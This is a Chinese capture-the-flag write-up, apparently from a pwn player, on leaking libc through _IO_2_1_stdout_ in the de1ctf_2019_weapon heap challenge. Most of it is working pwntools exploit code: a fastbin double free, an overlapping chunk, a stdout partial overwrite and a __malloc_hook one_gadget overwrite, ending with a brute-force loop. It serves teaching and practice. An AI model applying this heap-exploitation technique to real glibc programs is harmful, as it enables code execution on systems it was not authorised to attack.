_IO_2_1_stdout泄露libc专题练习
zach0ry Pwn 选手

hollk师傅的源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
puts / printf

_IO_new_file_xsputn

_IO_OVERFLOW

_IO_new_file_overflow

_IO_do_write

_IO_SYSWRITE

write(1, leak_addr, size)

de1ctf_2019_weapon

https://buuoj.cn/challenges#de1ctf_2019_weapon

伪造fd和size拿到这个位置的chunk

然后通过该chunk,把chunk2的size改为0xd1,覆盖下面两个chunk

image-20260310093148085

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x50, 0, b"a")
add(0x50, 1, b"a" * 0x40 + p64(0) + p64(0x6f))
add(0x50, 2, b"a")
add(0x60, 3, b"a")
add(0x50, 4, b'aaaa')


free(0)
free(1)
free(0)


add(0x50, 0, b"\xb0")
# dbg()
add(0x50, 1, b"a")
add(0x50, 0, b"a")
add(0x50, 7, p64(0) + p64(0xd1))

然后把chunk23依次free,放入unsorted bin和fast bin,由于chunk2包含chunk3,可以通过malloc unsored 让chunk3的fd变为main_arena

image-20260310093425342

1
2
3
4
5
6
free(2)
free(3)
add(0x50, 8, b"a")
add(0x50, 9, b"a")
add(0x50, 10, b"a")
# dbg()

之后依旧double free ,把chunk3的fd划为可覆盖的范围内,改fd到_IO_2_1_stdout_附近,根据不同去覆盖后几位,然后修改stdout

image-20260310094600126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free(2)
free(4)
free(2)

add(0x50, 2, b"\x10")
add(0x50, 4, b"aaa")
add(0x50, 2, b"a" * 0x48 + p64(0x61))
add(0x50, 11, p64(0) + p64(0x71) + b"\xdd\x75")
add(0x60, 3, b"a")
add(0x60, 12, b"a" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b"\x00")
# dbg()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5600
if libc_base == 0x7f0000000000:
exit(-1)
print(hex(libc_base))

之后就是覆盖malloc_hook了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print('one_gadget --> ' + hex(one_gadget))

add(0x60, 13, b'a')
add(0x60, 14, b'a')
add(0x60, 15, b'a')

free(13)
free(14)
free(13)

add(0x60, 13, p64(malloc_hook - 0x23))
add(0x60, 14, b'a')
add(0x60, 13, b'a')
add(0x60, 16, b'a' * 0x13 + p64(one_gadget))
free(0)
free(0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

# p = process('./de1ctf_2019_weapon')

elf = ELF('./de1ctf_2019_weapon')
libc = elf.libc


def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])


def add(size, index, content):
p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index:', str(index))
p.sendafter('input your name:', content)


def edit(index, content):
p.sendlineafter('choice >>', '3')
p.sendlineafter('idx: ', str(index))
p.sendafter('content: ', content)


def free(index):
p.sendlineafter('choice >>', '2')
p.sendlineafter('idx :', str(index))


def pwn():
add(0x50, 0, b"a")
add(0x50, 1, b"a" * 0x40 + p64(0) + p64(0x6f))
add(0x50, 2, b"a")
add(0x60, 3, b"a")
add(0x50, 4, b'aaaa')
add(0x60, 5, b'aaaa')

free(0)
free(1)
free(0)
# launch_gdb()

add(0x50, 0, b"\xb0")
add(0x50, 1, b"a")
add(0x50, 0, b"a")
add(0x50, 7, p64(0) + p64(0xd1))

free(2)
free(3)
add(0x50, 8, b"a")
add(0x50, 9, b"a")
add(0x50, 10, b"a")
# launch_gdb()

free(2)
free(4)
free(2)
# launch_gdb()

add(0x50, 2, b"\x10")
add(0x50, 4, b"aaa")
add(0x50, 2, b"a" * 0x48 + p64(0x61))
add(0x50, 11, p64(0) + p64(0x71) + b"\xdd\x75")
add(0x60, 3, b"a")
add(0x60, 12, b"a" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b"\x00")

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5600
if libc_base == -0x3c5600:
exit(-1)

print(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print('one_gadget --> ' + hex(one_gadget))

add(0x60, 13, b'a')
add(0x60, 14, b'a')
add(0x60, 15, b'a')

free(13)
free(14)
free(13)

add(0x60, 13, p64(malloc_hook - 0x23))
add(0x60, 14, b'a')
add(0x60, 13, b'a')
add(0x60, 16, b'a' * 0x13 + p64(one_gadget))

free(0)
free(0)

p.interactive()


while True:
p = process('./de1ctf_2019_weapon')
try:
pwn()
except:
p.close()

162

只有add和free,要用stdout去泄露libc,覆盖unsortred bin的fd bk去stdout

因为没有edit函数,伪造一个chunk让它malloc到目标chunk的上方